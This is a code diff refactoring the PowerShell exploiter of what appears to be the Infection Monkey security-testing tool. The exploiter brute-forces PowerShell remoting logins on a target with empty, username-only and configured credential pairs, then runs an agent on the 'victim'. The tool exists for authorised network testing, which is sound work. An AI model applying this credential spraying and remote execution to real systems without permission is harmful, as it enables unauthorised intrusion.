Agent: Remove duplicated try/except if/else from PowerShellExploiter

monkey/infection_monkey/exploit/powershell.py

@@ -1,6 +1,6 @@
 import logging
 import os
-import typing
+from typing import List, Optional, Tuple, Union
 
 import pypsrp
 import spnego
@@ -9,7 +9,6 @@ from pypsrp.powershell import PowerShell, RunspacePool
 from urllib3 import connectionpool
 
 import infection_monkey.monkeyfs as monkeyfs
-from common.utils.exceptions import FailedExploitationError
 from common.utils.exploit_enum import ExploitType
 from infection_monkey.exploit.consts import WIN_ARCH_32, WIN_ARCH_64
 from infection_monkey.exploit.HostExploiter import HostExploiter
@@ -45,58 +44,38 @@ class PowerShellExploiter(HostExploiter):
         if not self.client:
             return False
 
-        self._execute_monkey_agent_on_victim()
+        return self._execute_monkey_agent_on_victim()
 
-    def _authenticate_via_brute_force(self) -> typing.Optional[Client]:
-        try:
-            client = self._authenticate_with_empty_credentials()
-            return client
-        except FailedExploitationError:
-            LOG.info("Failed exploitation without credentials.")
+    def _authenticate_via_brute_force(self) -> Optional[Client]:
+        credentials = self._get_credentials()
 
-        try:
-            client = self._authenticate_with_empty_passwords(
-                usernames=self._config.exploit_user_list
-            )
-            return client
-        except FailedExploitationError:
-            LOG.info("Failed exploitation using configured usernames only.")
-
-        try:
-            client = self._authenticate_with_usernames_and_passwords(
-                credential_list=self._config.get_exploit_user_password_pairs()
-            )
-            return client
-        except FailedExploitationError:
-            LOG.info("Failed exploitation using configured credentials. Quitting.")
-
-        return None
-
-    def _authenticate_with_empty_credentials(self) -> Client:
-        return self._authenticate(None, None)
-
-    def _authenticate_with_empty_passwords(self, usernames: typing.List[str]) -> Client:
-        for username in usernames:
-            try:
-                client = self._authenticate(username, None)
-                return client
-            except FailedExploitationError:
-                pass
-        raise FailedExploitationError
-
-    def _authenticate_with_usernames_and_passwords(
-        self, credential_list: typing.List[typing.Tuple[str, str]]
-    ) -> Client:
-        for username, password in credential_list:
+        for username, password in credentials:
             try:
                 client = self._authenticate(username, password)
                 return client
-            except FailedExploitationError:
+            except Exception:
                 pass
-        raise FailedExploitationError
 
-    def _authenticate(self, username: str, password: str) -> Client:
-        try:
+        return None
+
+    def _get_credentials(self) -> List[Tuple[Optional[str], Optional[str]]]:
+        credentials = []
+        credentials.extend(self._get_empty_credentials())
+        credentials.extend(self._get_username_only_credentials())
+        credentials.extend(self._get_username_password_credentials())
+
+        return credentials
+
+    def _get_empty_credentials(self) -> List[Tuple[None, None]]:
+        return [(None, None)]
+
+    def _get_username_only_credentials(self) -> List[Tuple[str, None]]:
+        return [(username, None) for username in self._config.exploit_user_list]
+
+    def _get_username_password_credentials(self) -> List[Tuple[str, str]]:
+        return [credentials for credentials in self._config.get_exploit_user_password_pairs()]
+
+    def _authenticate(self, username: Optional[str], password: Optional[str]) -> Client:
         with Client(
             self.host.ip_addr,
             username=username,
@@ -106,10 +85,8 @@ class PowerShellExploiter(HostExploiter):
             # attempt to execute dir command to know if authentication was successful
             client.execute_cmd("dir")
             return client
-        except Exception:
-            raise FailedExploitationError
 
-    def _execute_monkey_agent_on_victim(self):
+    def _execute_monkey_agent_on_victim(self) -> bool:
         arch = self._get_host_arch()
         self.is_32bit = arch == WIN_ARCH_32
 
@@ -129,7 +106,7 @@ class PowerShellExploiter(HostExploiter):
 
         return True
 
-    def _get_host_arch(self) -> typing.Union[WIN_ARCH_32, WIN_ARCH_64]:
+    def _get_host_arch(self) -> Union[WIN_ARCH_32, WIN_ARCH_64]:
         output = self._execute_cmd_on_host(GET_ARCH_WINDOWS)
         if "64-bit" in output:
             return WIN_ARCH_64